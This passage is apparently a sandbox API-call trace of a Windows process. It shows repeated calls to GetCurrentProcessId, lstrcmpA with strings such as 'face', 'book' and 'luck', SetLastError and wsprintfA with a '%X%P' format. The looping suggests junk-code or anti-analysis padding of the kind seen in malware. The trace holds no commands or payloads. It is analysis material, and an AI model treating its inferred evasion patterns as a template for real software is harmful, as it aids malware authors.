(dwErrCode=0x12) [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] lstrlenA (lpString="just string") returned 11 [0071.070] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.070] GetLastError () returned 0x12 [0071.070] GetLastError () returned 0x12 [0071.070] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.070] SetLastError (dwErrCode=0x12) [0071.070] GetCurrentProcess () returned 0xffffffff [0071.070] GetLastError () returned 0x12 [0071.070] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2678P") returned 7 [0071.070] SetLastError (dwErrCode=0x12) [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcess () returned 0xffffffff [0071.070] GetLastError () returned 0x12 [0071.070] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2679P") returned 7 [0071.070] SetLastError (dwErrCode=0x12) [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetLastError () returned 0x12 [0071.070] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F267AP") returned 7 [0071.070] SetLastError (dwErrCode=0x12) [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] lstrlenA (lpString="just string") returned 11 [0071.071] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.071] GetLastError () returned 0x12 [0071.071] lstrlenA (lpString="just string") returned 11 [0071.071] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.071] GetLastError () returned 0x12 [0071.071] GetLastError () returned 0x12 [0071.071] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.071] SetLastError (dwErrCode=0x12) [0071.071] GetCurrentProcess () returned 0xffffffff [0071.071] GetLastError () returned 0x12 [0071.071] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F26DCP") returned 7 [0071.071] SetLastError (dwErrCode=0x12) [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcess () returned 0xffffffff [0071.071] GetLastError () returned 0x12 [0071.071] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F26DDP") returned 7 [0071.071] SetLastError (dwErrCode=0x12) [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetLastError () returned 0x12 [0071.071] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F26DEP") returned 7 [0071.071] SetLastError (dwErrCode=0x12) [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] lstrlenA (lpString="just string") returned 11 [0071.071] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.071] GetLastError () returned 0x12 [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] lstrlenA (lpString="just string") returned 11 [0071.071] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.071] GetLastError () returned 0x12 [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] lstrlenA (lpString="just string") returned 11 [0071.071] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.071] GetLastError () returned 0x12 [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] lstrlenA (lpString="just string") returned 11 [0071.071] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.071] GetLastError () returned 0x12 [0071.071] GetCurrentProcessId () returned 0x81c [0071.071] lstrlenA (lpString="just string") returned 11 [0071.071] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.071] GetLastError () returned 0x12 [0071.071] lstrlenA (lpString="just string") returned 11 [0071.071] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.071] GetLastError () returned 0x12 [0071.071] GetCurrentProcess () returned 0xffffffff [0071.071] GetLastError () returned 0x12 [0071.071] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F27F5P") returned 7 [0071.071] SetLastError (dwErrCode=0x12) [0071.071] GetCurrentProcessId () returned 0x81c [0071.072] GetLastError () returned 0x12 [0071.072] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F27F6P") returned 7 [0071.072] SetLastError (dwErrCode=0x12) [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] lstrlenA (lpString="just string") returned 11 [0071.072] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.072] GetLastError () returned 0x12 [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] lstrlenA (lpString="just string") returned 11 [0071.072] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.072] GetLastError () returned 0x12 [0071.072] GetLastError () returned 0x12 [0071.072] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.072] SetLastError (dwErrCode=0x12) [0071.072] GetCurrentProcess () returned 0xffffffff [0071.072] GetLastError () returned 0x12 [0071.072] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F283AP") returned 7 [0071.072] SetLastError (dwErrCode=0x12) [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcess () returned 0xffffffff [0071.072] GetLastError () returned 0x12 [0071.072] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F283BP") returned 7 [0071.072] SetLastError (dwErrCode=0x12) [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetLastError () returned 0x12 [0071.072] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F283CP") returned 7 [0071.072] SetLastError (dwErrCode=0x12) [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] lstrlenA (lpString="just string") returned 11 [0071.072] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.072] GetLastError () returned 0x12 [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] lstrlenA (lpString="just string") returned 11 [0071.072] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.072] GetLastError () returned 0x12 [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] lstrlenA (lpString="just string") returned 11 [0071.072] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.072] GetLastError () returned 0x12 [0071.072] GetCurrentProcess () returned 0xffffffff [0071.072] GetLastError () returned 0x12 [0071.072] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F28A9P") returned 7 [0071.072] SetLastError (dwErrCode=0x12) [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetLastError () returned 0x12 [0071.072] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F28AAP") returned 7 [0071.072] SetLastError (dwErrCode=0x12) [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] lstrlenA (lpString="just string") returned 11 [0071.072] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.072] GetLastError () returned 0x12 [0071.072] GetCurrentProcessId () returned 0x81c [0071.072] GetCurrentProcessId () returned 0x81c [0071.073] lstrlenA (lpString="just string") returned 11 [0071.073] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.073] GetLastError () returned 0x12 [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] lstrlenA (lpString="just string") returned 11 [0071.073] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.073] GetLastError () returned 0x12 [0071.073] GetLastError () returned 0x12 [0071.073] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F28F0P") returned 7 [0071.073] SetLastError (dwErrCode=0x12) [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] lstrlenA (lpString="just string") returned 11 [0071.073] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.073] GetLastError () returned 0x12 [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] lstrlenA (lpString="just string") returned 11 [0071.073] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.073] GetLastError () returned 0x12 [0071.073] GetLastError () returned 0x12 [0071.073] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2940P") returned 7 [0071.073] SetLastError (dwErrCode=0x12) [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] lstrlenA (lpString="just string") returned 11 [0071.073] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.073] GetLastError () returned 0x12 [0071.073] GetCurrentProcess () returned 0xffffffff [0071.073] GetLastError () returned 0x12 [0071.073] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F297BP") returned 7 [0071.073] SetLastError (dwErrCode=0x12) [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetLastError () returned 0x12 [0071.073] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F297CP") returned 7 [0071.073] SetLastError (dwErrCode=0x12) [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] lstrlenA (lpString="just string") returned 11 [0071.073] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.073] GetLastError () returned 0x12 [0071.073] GetLastError () returned 0x12 [0071.073] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.073] SetLastError (dwErrCode=0x12) [0071.073] GetCurrentProcess () returned 0xffffffff [0071.073] GetLastError () returned 0x12 [0071.073] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F29B6P") returned 7 [0071.073] SetLastError (dwErrCode=0x12) [0071.073] GetCurrentProcessId () returned 0x81c [0071.073] GetCurrentProcess () returned 0xffffffff [0071.073] GetLastError () returned 0x12 [0071.073] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F29B7P") returned 7 [0071.073] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetLastError () returned 0x12 [0071.074] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F29B8P") returned 7 [0071.074] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] lstrlenA (lpString="just string") returned 11 [0071.074] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.074] GetLastError () returned 0x12 [0071.074] GetLastError () returned 0x12 [0071.074] GetLastError () returned 0x12 [0071.074] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.074] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcess () returned 0xffffffff [0071.074] GetLastError () returned 0x12 [0071.074] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2A1AP") returned 7 [0071.074] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcess () returned 0xffffffff [0071.074] GetLastError () returned 0x12 [0071.074] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2A1BP") returned 7 [0071.074] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetLastError () returned 0x12 [0071.074] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2A1CP") returned 7 [0071.074] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] lstrlenA (lpString="just string") returned 11 [0071.074] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.074] GetLastError () returned 0x12 [0071.074] GetLastError () returned 0x12 [0071.074] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.074] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcess () returned 0xffffffff [0071.074] GetLastError () returned 0x12 [0071.074] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2A38P") returned 7 [0071.074] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcess () returned 0xffffffff [0071.074] GetLastError () returned 0x12 [0071.074] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2A39P") returned 7 [0071.074] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetLastError () returned 0x12 [0071.074] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2A3AP") returned 7 [0071.074] SetLastError (dwErrCode=0x12) [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] lstrlenA (lpString="just string") returned 11 [0071.074] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.074] GetLastError () returned 0x12 [0071.074] GetCurrentProcessId () returned 0x81c [0071.074] lstrlenA (lpString="just string") returned 11 [0071.075] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.075] GetLastError () returned 0x12 [0071.075] GetLastError () returned 0x12 [0071.075] GetLastError () returned 0x12 [0071.075] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B02P") returned 7 [0071.075] SetLastError (dwErrCode=0x12) [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] lstrlenA (lpString="just string") returned 11 [0071.075] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.075] GetLastError () returned 0x12 [0071.075] GetLastError () returned 0x12 [0071.075] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.075] SetLastError (dwErrCode=0x12) [0071.075] GetCurrentProcess () returned 0xffffffff [0071.075] GetLastError () returned 0x12 [0071.075] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B32P") returned 7 [0071.075] SetLastError (dwErrCode=0x12) [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcess () returned 0xffffffff [0071.075] GetLastError () returned 0x12 [0071.075] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B33P") returned 7 [0071.075] SetLastError (dwErrCode=0x12) [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetLastError () returned 0x12 [0071.075] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B34P") returned 7 [0071.075] SetLastError (dwErrCode=0x12) [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] lstrlenA (lpString="just string") returned 11 [0071.075] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.075] GetLastError () returned 0x12 [0071.075] lstrlenA (lpString="just string") returned 11 [0071.075] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.075] GetLastError () returned 0x12 [0071.075] GetLastError () returned 0x12 [0071.075] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.075] SetLastError (dwErrCode=0x12) [0071.075] GetCurrentProcess () returned 0xffffffff [0071.075] GetLastError () returned 0x12 [0071.075] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B46P") returned 7 [0071.075] SetLastError (dwErrCode=0x12) [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcess () returned 0xffffffff [0071.075] GetLastError () returned 0x12 [0071.075] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B47P") returned 7 [0071.075] SetLastError (dwErrCode=0x12) [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetLastError () returned 0x12 [0071.075] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B48P") returned 7 [0071.075] SetLastError (dwErrCode=0x12) [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcessId () returned 0x81c [0071.075] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] lstrlenA (lpString="just string") returned 11 [0071.076] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.076] GetLastError () returned 0x12 [0071.076] GetLastError () returned 0x12 [0071.076] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.076] SetLastError (dwErrCode=0x12) [0071.076] GetCurrentProcess () returned 0xffffffff [0071.076] GetLastError () returned 0x12 [0071.076] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B5AP") returned 7 [0071.076] SetLastError (dwErrCode=0x12) [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcess () returned 0xffffffff [0071.076] GetLastError () returned 0x12 [0071.076] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B5BP") returned 7 [0071.076] SetLastError (dwErrCode=0x12) [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetLastError () returned 0x12 [0071.076] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B5CP") returned 7 [0071.076] SetLastError (dwErrCode=0x12) [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] lstrlenA (lpString="just string") returned 11 [0071.076] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.076] GetLastError () returned 0x12 [0071.076] GetLastError () returned 0x12 [0071.076] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2B8EP") returned 7 [0071.076] SetLastError (dwErrCode=0x12) [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] lstrlenA (lpString="just string") returned 11 [0071.076] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.076] GetLastError () returned 0x12 [0071.076] GetCurrentProcess () returned 0xffffffff [0071.076] GetLastError () returned 0x12 [0071.076] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2BABP") returned 7 [0071.076] SetLastError (dwErrCode=0x12) [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetLastError () returned 0x12 [0071.076] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2BACP") returned 7 [0071.076] SetLastError (dwErrCode=0x12) [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] GetCurrentProcessId () returned 0x81c [0071.076] lstrlenA (lpString="just string") returned 11 [0071.076] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.076] GetLastError () returned 0x12 [0071.076] lstrlenA (lpString="just string") returned 11 [0071.076] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.076] GetLastError () returned 0x12 [0071.076] GetLastError () returned 0x12 [0071.076] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.076] SetLastError (dwErrCode=0x12) [0071.076] GetCurrentProcess () returned 0xffffffff [0071.077] GetLastError () returned 0x12 [0071.077] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2C18P") returned 7 [0071.077] SetLastError (dwErrCode=0x12) [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcess () returned 0xffffffff [0071.077] GetLastError () returned 0x12 [0071.077] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2C19P") returned 7 [0071.077] SetLastError (dwErrCode=0x12) [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetLastError () returned 0x12 [0071.077] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2C1AP") returned 7 [0071.077] SetLastError (dwErrCode=0x12) [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] lstrlenA (lpString="just string") returned 11 [0071.077] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.077] GetLastError () returned 0x12 [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] lstrlenA (lpString="just string") returned 11 [0071.077] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.077] GetLastError () returned 0x12 [0071.077] lstrlenA (lpString="just string") returned 11 [0071.077] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.077] GetLastError () returned 0x12 [0071.077] lstrlenA (lpString="just string") returned 11 [0071.077] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.077] GetLastError () returned 0x12 [0071.077] GetLastError () returned 0x12 [0071.077] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2CB0P") returned 7 [0071.077] SetLastError (dwErrCode=0x12) [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] lstrlenA (lpString="just string") returned 11 [0071.077] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.077] GetLastError () returned 0x12 [0071.077] GetLastError () returned 0x12 [0071.077] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2CD8P") returned 7 [0071.077] SetLastError (dwErrCode=0x12) [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] lstrlenA (lpString="just string") returned 11 [0071.077] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.077] GetLastError () returned 0x12 [0071.077] GetLastError () returned 0x12 [0071.077] lstrlenA (lpString="just string") returned 11 [0071.077] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.077] GetLastError () returned 0x12 [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] lstrlenA (lpString="just string") returned 11 [0071.077] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.077] GetLastError () returned 0x12 [0071.077] GetLastError () returned 0x12 [0071.077] GetCurrentProcess () returned 0xffffffff [0071.077] GetLastError () returned 0x12 [0071.077] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2DA9P") returned 7 [0071.077] SetLastError (dwErrCode=0x12) [0071.077] GetCurrentProcessId () returned 0x81c [0071.077] GetLastError () returned 0x12 [0071.077] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2DAAP") returned 7 [0071.078] SetLastError (dwErrCode=0x12) [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] lstrlenA (lpString="just string") returned 11 [0071.078] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.078] GetLastError () returned 0x12 [0071.078] GetLastError () returned 0x12 [0071.078] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2DC8P") returned 7 [0071.078] SetLastError (dwErrCode=0x12) [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] lstrlenA (lpString="just string") returned 11 [0071.078] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.078] GetLastError () returned 0x12 [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] lstrlenA (lpString="just string") returned 11 [0071.078] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.078] GetLastError () returned 0x12 [0071.078] GetLastError () returned 0x12 [0071.078] GetCurrentProcess () returned 0xffffffff [0071.078] GetLastError () returned 0x12 [0071.078] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2E49P") returned 7 [0071.078] SetLastError (dwErrCode=0x12) [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetLastError () returned 0x12 [0071.078] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2E4AP") returned 7 [0071.078] SetLastError (dwErrCode=0x12) [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] lstrlenA (lpString="just string") returned 11 [0071.078] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.078] GetLastError () returned 0x12 [0071.078] GetCurrentProcess () returned 0xffffffff [0071.078] GetLastError () returned 0x12 [0071.078] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2E5DP") returned 7 [0071.078] SetLastError (dwErrCode=0x12) [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetLastError () returned 0x12 [0071.078] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2E5EP") returned 7 [0071.078] SetLastError (dwErrCode=0x12) [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] lstrlenA (lpString="just string") returned 11 [0071.078] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.078] GetLastError () returned 0x12 [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] lstrlenA (lpString="just string") returned 11 [0071.078] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.078] GetLastError () returned 0x12 [0071.078] GetLastError () returned 0x12 [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.078] GetCurrentProcessId () returned 0x81c [0071.079] lstrlenA (lpString="just string") returned 11 [0071.079] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.079] GetLastError () returned 0x12 [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] lstrlenA (lpString="just string") returned 11 [0071.079] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.079] GetLastError () returned 0x12 [0071.079] lstrlenA (lpString="just string") returned 11 [0071.079] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.079] GetLastError () returned 0x12 [0071.079] GetLastError () returned 0x12 [0071.079] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.079] SetLastError (dwErrCode=0x12) [0071.079] GetCurrentProcess () returned 0xffffffff [0071.079] GetLastError () returned 0x12 [0071.079] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2F60P") returned 7 [0071.079] SetLastError (dwErrCode=0x12) [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetCurrentProcess () returned 0xffffffff [0071.079] GetLastError () returned 0x12 [0071.079] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2F61P") returned 7 [0071.079] SetLastError (dwErrCode=0x12) [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetLastError () returned 0x12 [0071.079] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2F62P") returned 7 [0071.079] SetLastError (dwErrCode=0x12) [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] lstrlenA (lpString="just string") returned 11 [0071.079] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.079] GetLastError () returned 0x12 [0071.079] 